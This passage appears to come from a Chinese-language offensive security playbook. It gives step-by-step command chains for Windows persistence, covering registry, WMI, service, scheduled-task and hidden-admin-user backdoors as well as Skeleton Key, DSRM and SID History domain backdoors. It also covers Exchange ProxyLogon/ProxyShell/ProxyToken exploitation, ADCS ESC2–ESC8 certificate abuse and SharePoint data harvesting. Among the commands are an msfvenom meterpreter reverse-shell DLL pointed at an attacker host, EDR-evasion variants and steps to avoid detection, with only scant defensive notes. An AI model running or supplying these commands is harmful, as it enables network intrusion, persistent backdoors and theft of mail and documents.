net group "Domain Computers" /domain ``` **2. PowerView枚举** _[windows]_ _使用PowerView枚举计算机_ ``` Get-NetComputer | select name,operatingsystem,ipv4address ``` **3. 查找域控制器** _[windows]_ _查找域控制器_ ``` Get-NetComputer -DomainController ``` **4. 查找特定系统** _[windows]_ _查找特定操作系统_ ``` Get-NetComputer -OperatingSystem "*Server 2019*" ``` **5. 查找活跃计算机** _[windows]_ _查找在线计算机_ ``` Get-NetComputer -Ping ``` **6. 查找管理员会话** _[windows]_ _查找域管理员登录位置_ ``` Find-DomainUserLocation ``` **分析：** 计算机枚举可以发现域内所有计算机，识别高价值目标。 **OPSEC：** 计算机枚举是正常操作；重点关注域控制器和服务器；查找管理员会话 --- ## 权限维持 ### 注册表持久化 `persistence-registry` 通过注册表实现权限维持 子类：**注册表** · tags: `persistence` `registry` `windows` `autorun` **前置条件：** 已获得目标机器权限；管理员权限；Windows系统 **攻击链：** **1. Run键持久化** _[windows]_ _添加Run键实现开机自启_ ``` reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f ``` **2. RunOnce键** _[windows]_ _RunOnce键，执行一次后删除_ ``` reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f ``` **3. Winlogon Helper** _[windows]_ _修改Userinit实现持久化_ ``` reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\backdoor.exe" /f ``` **4. 服务持久化** _[windows]_ _创建服务实现持久化_ ``` sc create Backdoor binPath= "C:\backdoor.exe" start= auto ``` **EDR 绕过变体：** **1. 隐藏注册表键** _使用空字节隐藏注册表键_ ``` reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\x00" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f ``` **分析：** 注册表持久化会在系统启动或用户登录时执行恶意程序。 **OPSEC：** Run键是最常见的持久化方式，容易被检测；考虑使用更隐蔽的方式；定期检查注册表异常项 --- ### WMI持久化 `persistence-wmi` 通过WMI事件订阅实现持久化 子类：**WMI** · tags: `wmi` `persistence` `windows` **前置条件：** 管理员权限 **攻击链：** **1. 创建事件过滤器** _[windows]_ _创建WMI事件过滤器_ ``` $filter = New-WmiEventFilter -Name "evil" -Query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" ``` **2. 创建事件消费者** _[windows]_ _创建命令行消费者_ ``` $consumer = New-WmiEventConsumer -Name "evil" -CommandLineTemplate "powershell -e BASE64_CMD" ``` **3. 绑定过滤器和消费者** _[windows]_ _绑定触发执行_ ``` New-WmiFilterToConsumerBinding -Filter $filter -Consumer $consumer ``` --- ### 启动文件夹持久化 `persistence-startup` 通过启动文件夹实现持久化 子类：**启动文件夹** · tags: `startup` `persistence` `windows` **前置条件：** 写入权限 **攻击链：** **1. 当前用户启动文件夹** _[windows]_ _当前用户启动_ ``` copy evil.lnk "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" ``` **2. 所有用户启动文件夹** _[windows]_ _所有用户启动_ ``` copy evil.lnk "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" ``` --- ### 服务持久化 `persistence-service` 通过创建服务实现持久化 子类：**服务** · tags: `service` `persistence` `windows` **前置条件：** 管理员权限 **攻击链：** **1. 创建服务** _[windows]_ _创建自启动服务_ ``` sc create evilsvc binPath= "cmd /c powershell -e BASE64_CMD" start= auto ``` **2. 启动服务** _[windows]_ _启动服务_ ``` sc start evilsvc ``` --- ### DLL注入持久化 `persistence-dll-injection` 通过DLL注入实现持久化 子类：**DLL注入** · tags: `dll` `injection` `persistence` **前置条件：** 代码执行权限；目标进程 **攻击链：** **1. 创建恶意DLL** _[linux]_ _生成恶意DLL_ ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll ``` **2. 注入DLL** _[windows]_ _将DLL注入到运行进程_ ``` 使用工具如InjectDLL、PowerShell等注入到目标进程 ``` **3. AppInit_DLLs** _[windows]_ _通过AppInit_DLLs注入_ ``` reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\evil.dll" /f ``` --- ### 后门用户 `persistence-backdoor-user` 创建后门用户账户 子类：**用户** · tags: `user` `backdoor` `persistence` **前置条件：** 管理员权限 **攻击链：** **1. 创建用户** _[windows]_ _创建管理员用户_ ``` net user backdoor P@ssw0rd /add net localgroup administrators backdoor /add ``` **2. 隐藏用户** _[windows]_ _创建隐藏用户（$结尾）_ ``` net user backdoor$ P@ssw0rd /add ``` **3. 修改注册表隐藏** _[windows]_ _通过注册表隐藏用户_ ``` reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\backdoor$" /f ``` --- ### 隐藏用户 `persistence-hidden-user` 创建隐藏的管理员用户 子类：**隐藏用户** · tags: `hidden` `user` `persistence` **前置条件：** SYSTEM权限 **攻击链：** **1. 创建用户** _[windows]_ _创建$结尾用户_ ``` net user hidden$ P@ssw0rd /add ``` **2. 添加到管理员组** _[windows]_ _添加管理员权限_ ``` net localgroup administrators hidden$ /add ``` **3. 注册表隐藏** _[windows]_ _通过注册表完全隐藏_ ``` reg export "HKLM\SAM\SAM\Domains\Account\Users\000003E9" user.reg 修改F值 reg import user.reg ``` --- ### 计划任务持久化 `persistence-scheduled` 通过计划任务实现持久化 子类：**计划任务** · tags: `persistence` `scheduled` `task` **前置条件：** 创建任务权限 **攻击链：** **1. 创建登录任务** _[windows]_ _创建登录时运行的任务_ ``` schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM ``` **2. 创建定时任务** _[windows]_ _创建每5分钟运行的任务_ ``` schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc minute /mo 5 ``` **3. PowerShell创建** _[windows]_ _使用PowerShell创建任务_ ``` $action = New-ScheduledTaskAction -Execute "C:\backdoor.exe" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Backdoor" -User "System" ``` **4. Linux Cron** _[linux]_ _Linux计划任务_ ``` crontab -e 添加: * * * * * /tmp/backdoor.sh 或: @reboot /tmp/backdoor.sh ``` --- ### Skeleton Key后门 `skeleton-key` 在域控制器植入万能密码 子类：**域后门** · tags: `skeleton-key` `backdoor` `domain` **前置条件：** 域管理员权限；访问域控制器 **攻击链：** **1. 植入Skeleton Key** _[windows]_ _使用Mimikatz植入_ ``` mimikatz # privilege::debug mimikatz # misc::skeleton ``` **2. 使用万能密码** _[windows]_ _使用万能密码登录_ ``` 万能密码: mimikatz 任何域用户都可以使用mimikatz作为密码登录 ``` **3. 检测方法** _[windows]_ _检测Skeleton Key_ ``` 检查LSASS内存: Get-Process lsass 使用EDR检测内存注入 ``` --- ### DSRM后门 `dsrm-backdoor` 利用DSRM账户建立后门 子类：**域后门** · tags: `dsrm` `backdoor` `domain` **前置条件：** 域管理员权限；访问域控制器 **攻击链：** **1. 获取DSRM密码** _[windows]_ _获取DSRM账户哈希_ ``` mimikatz # lsadump::lsa /patch /name:krbtgt 或 mimikatz # token::elevate mimikatz # lsadump::sam ``` **2. 同步DSRM密码** _[windows]_ _同步DSRM密码与域管理员_ ``` ntdsutil set dsrm password sync from domain account admin q q ``` **3. 启用DSRM账户** _[windows]_ _允许DSRM账户远程登录_ ``` 修改注册表: New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD ``` **4. 使用DSRM登录** _[windows]_ _使用DSRM账户_ ``` 使用DSRM账户哈希: mimikatz # sekurlsa::pth /domain:DC_NAME /user:Administrator /ntlm:HASH 或使用Pass-the-Hash ``` --- ### SID History后门 `sid-history` 利用SID History建立后门 子类：**域后门** · tags: `sid-history` `backdoor` `domain` **前置条件：** 域管理员权限 **攻击链：** **1. 添加SID History** _[windows]_ _添加SID History_ ``` mimikatz # sid::add /sam:backdoor_user /new:administrator 将域管SID添加到普通用户 ``` **2. 验证SID History** _[windows]_ _检查SID History_ ``` Get-ADUser backdoor_user -Properties sidHistory 或 whoami /all ``` **3. 使用后门** _[windows]_ _使用后门账户_ ``` 使用backdoor_user登录 自动获得域管理员权限 ``` --- ### 进程镂空持久化 `persistence-process-hollowing` 利用进程镂空技术实现持久化 子类：**进程注入** · tags: `process-hollowing` `persistence` `injection` **前置条件：** 代码执行权限 **攻击链：** **1. 进程镂空原理** _[windows]_ _进程镂空原理_ ``` 1. 创建合法进程(挂起状态) 2. 替换进程内存 3. 恢复执行 ``` **2. C#实现** _[windows]_ _C#进程镂空_ ``` using System.Runtime.InteropServices; // 创建挂起进程 CreateProcess("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ...); // 替换内存 NtUnmapViewOfSection(...); VirtualAllocEx(...); WriteProcessMemory(...); ResumeThread(...); ``` **3. 检测方法** _[windows]_ _检测进程镂空_ ``` 检查进程内存: - 进程路径与内存内容不匹配 - 异常的内存区域 - 使用EDR检测 ``` --- ## Exchange攻击 ### ProxyLogon攻击 `proxylogon` CVE-2021-26855 Exchange SSRF 子类：**ProxyLogon** · tags: `exchange` `proxylogon` `cve-2021-26855` **前置条件：** Exchange可访问 **攻击链：** **1. 探测漏洞** _[linux]_ _检查Exchange版本_ ``` curl -k https://exchange.com/owa/auth/x.js 检查Exchange版本 ``` **2. 利用脚本** _[linux]_ _利用ProxyLogon_ ``` python proxylogon.py -u https://exchange.com -e admin@domain.com 获取管理员邮箱访问权限 ``` **3. 手动利用** _手动构造请求_ ``` POST /owa/auth/x.js HTTP/1.1 Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-ClientId=xxx 构造SSRF请求 ``` --- ### ProxyShell攻击 `proxyshell` CVE-2021-34473 Exchange RCE 子类：**ProxyShell** · tags: `exchange` `proxyshell` `cve-2021-34473` **前置条件：** Exchange可访问 **攻击链：** **1. 探测漏洞** _[linux]_ _探测漏洞_ ``` curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com" 检查是否存在漏洞 ``` **2. 利用脚本** _[linux]_ _利用ProxyShell_ ``` python proxyshell.py -u https://exchange.com -e admin@domain.com 获取邮箱访问并执行命令 ``` **3. 获取邮件** _访问邮箱_ ``` GET /autodiscover/autodiscover.json?@domain.com/owa/?&Email=admin@domain.com HTTP/1.1 访问邮箱内容 ``` --- ### Exchange枚举 `exchange-enum` 枚举Exchange服务和配置 子类：**枚举** · tags: `exchange` `enum` `recon` **前置条件：** Exchange可访问 **攻击链：** **1. 版本探测** _[linux]_ _探测Exchange版本_ ``` curl -k https://exchange.com/owa/auth/logon.aspx 检查页面源码获取版本信息 ``` **2. Autodiscover** _[linux]_ _Autodiscover枚举_ ``` curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml 获取Exchange配置信息 ``` **3. 邮箱枚举** _[linux]_ _枚举邮箱用户_ ``` python oab.py https://exchange.com 下载离线通讯录枚举用户 ``` **4. NTLM泄露** _[linux]_ _NTLM信息泄露_ ``` curl -k https://exchange.com/autodiscover/autodiscover.xml 从WWW-Authenticate头获取域信息 ``` --- ### ProxyToken攻击 `exchange-proxytoken` 利用Exchange ProxyToken绕过认证 子类：**ProxyToken** · tags: `exchange` `proxytoken` `bypass` **前置条件：** Exchange服务器；存在漏洞 **攻击链：** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` 使用ProxyToken工具: python proxytoken.py -u https://exchange.com -e user@domain.com 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _获取邮箱访问_ ``` python proxytoken.py -u https://exchange.com -e user@domain.com -a 获取用户邮箱访问权限 ``` **3. 访问邮箱** _访问EWS接口_ ``` curl -k https://exchange.com/ews/Exchange.asmx -H "X-ClientApplication: Test" 绕过认证访问EWS ``` --- ### Exchange邮箱访问 `exchange-mailbox-access` 通过各种方式访问Exchange邮箱 子类：**邮箱访问** · tags: `exchange` `mailbox` `access` **前置条件：** Exchange凭证或漏洞 **攻击链：** **1. OWA访问** _OWA Web访问_ ``` https://exchange.com/owa 使用凭证登录OWA 查看邮件、日历等 ``` **2. EWS访问** _[linux]_ _EWS API访问_ ``` 使用Impacket: python exchanger.py domain/user:password@exchange.com 或使用EWSTools ``` **3. Outlook MAPI** _[windows]_ _Outlook客户端_ ``` 配置Outlook连接Exchange 使用MAPI协议访问邮箱 支持邮件、日历、联系人 ``` **4. 导出邮箱** _[windows]_ _导出邮箱_ ``` PowerShell: New-MailboxExportRequest -Mailbox user@domain.com -FilePath "\\server\share\user.pst" 导出邮箱为PST文件 ``` --- ## ADCS攻击 ### ADCS ESC2攻击 `adcs-esc2` 利用ESC2模板配置错误 子类：**ESC2** · tags: `adcs` `esc2` `certificate` **前置条件：** 域环境；ADCS服务；存在ESC2模板 **攻击链：** **1. 探测ESC2模板** _[linux]_ _探测ESC2模板_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找Any Purpose或CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT模板 ``` **2. 请求证书** _[linux]_ _请求管理员证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -target DC_IP -template VULNERABLE_TEMPLATE -upn administrator@domain.com ``` **3. 使用证书认证** _[linux]_ _使用证书认证_ ``` certipy auth -pfx administrator.pfx -dc-ip DC_IP 获取管理员TGT ``` --- ### ADCS ESC3攻击 `adcs-esc3` 利用ESC3注册代理配置错误 子类：**ESC3** · tags: `adcs` `esc3` `certificate` **前置条件：** 域环境；ADCS服务；存在ESC3配置 **攻击链：** **1. 探测ESC3** _[linux]_ _探测ESC3配置_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找具有Enrollment Agent权限的模板 ``` **2. 获取注册代理证书** _[linux]_ _获取注册代理证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -template EnrollmentAgent 获取注册代理证书 ``` **3. 代表其他用户请求证书** _[linux]_ _代表管理员请求证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -template User -on-behalf-of DOMAIN\\Administrator -pfx agent.pfx ``` --- ### ADCS ESC4攻击 `adcs-esc4` 利用ESC4模板权限配置错误 子类：**ESC4** · tags: `adcs` `esc4` `certificate` **前置条件：** 域环境；ADCS服务；对模板有写权限 **攻击链：** **1. 探测ESC4** _[linux]_ _探测模板权限_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找用户有写权限的模板 ``` **2. 修改模板配置** _[linux]_ _修改模板配置_ ``` certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -save-old 修改模板为ESC1配置 ``` **3. 请求证书** _[linux]_ _请求管理员证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE -upn administrator@domain.com ``` **4. 恢复模板配置** _[linux]_ _恢复模板配置_ ``` certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -configuration old_config.json 恢复原配置避免检测 ``` --- ### ADCS ESC6攻击 `adcs-esc6` 利用ESC6编辑标志配置错误 子类：**ESC6** · tags: `adcs` `esc6` `certificate` **前置条件：** 域环境；ADCS服务；CA启用EDITF_ATTRIBUTESUBJECTALTNAME2 **攻击链：** **1. 探测ESC6** _[linux]_ _探测CA配置_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找EDITF_ATTRIBUTESUBJECTALTNAME2标志 ``` **2. 请求证书** _[linux]_ _请求管理员证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -template User -alt administrator@domain.com 使用-alt参数指定SAN ``` **3. 使用证书认证** _[linux]_ _认证获取TGT_ ``` certipy auth -pfx administrator.pfx -dc-ip DC_IP ``` --- ### ADCS ESC8攻击 `adcs-esc8` 利用ESC8 HTTP端点进行NTLM中继 子类：**ESC8** · tags: `adcs` `esc8` `ntlm-relay` **前置条件：** 域环境；ADCS HTTP端点；可触发NTLM认证 **攻击链：** **1. 探测ESC8** _[linux]_ _探测HTTP端点_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找HTTP证书端点 ``` **2. 设置NTLM中继** _[linux]_ _设置NTLM中继_ ``` impacket-ntlmrelayx -t http://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs 监听NTLM认证并中继到ADCS ``` **3. 触发认证** _触发目标NTLM认证_ ``` 使用多种方式触发: - 发送邮件链接 - 打印机漏洞 - WebDAV - 其他NTLM触发方式 ``` --- ## SharePoint攻击 ### SharePoint枚举 `sharepoint-enum` 枚举SharePoint站点和文件 子类：**枚举** · tags: `sharepoint` `enum` `recon` **前置条件：** SharePoint可访问 **攻击链：** **1. 站点枚举** _[linux]_ _枚举站点_ ``` curl -k https://sharepoint.com/_api/web/webs 获取所有子站点 ``` **2. 用户枚举** _[linux]_ _枚举用户_ ``` curl -k https://sharepoint.com/_api/web/siteusers 获取站点用户列表 ``` **3. 文件枚举** _[linux]_ _枚举文档库_ ``` curl -k https://sharepoint.com/_api/web/lists 获取文档库列表 ``` **4. 搜索文件** _[linux]_ _搜索敏感内容_ ``` curl -k "https://sharepoint.com/_api/search/query?querytext='password'" 搜索敏感文件 ``` --- ### SharePoint文件访问 `sharepoint-file-access` 访问SharePoint文档库中的文件 子类：**文件访问** · tags: `sharepoint` `file` `access` **前置条件：** SharePoint凭证或漏洞 **攻击链：** **1. Web界面访问** _Web界面访问_ ``` https://sharepoint.com/sites/site_name/Shared Documents 通过浏览器访问文档库 下载敏感文件 ``` **2. REST API访问** _[linux]_ _REST API访问_ ``` curl -k -u user:password "https://sharepoint.com/_api/web/lists/getbytitle('Documents')/items" 获取文档列表 下载文件内容 ``` **3. CSOM访问** _[windows]_ _CSOM访问_ ``` 使用SharePoint客户端对象模型: ClientContext context = new ClientContext("https://sharepoint.com"); context.Credentials = new SharePointOnlineCredentials(user, password); List list = context.Web.Lists.GetByTitle("Documents"); ``` **4. OneDrive同步** _OneDrive同步_ ``` 使用OneDrive客户端同步SharePoint文档库 本地访问所有文件 离线查看敏感数据 ``` ---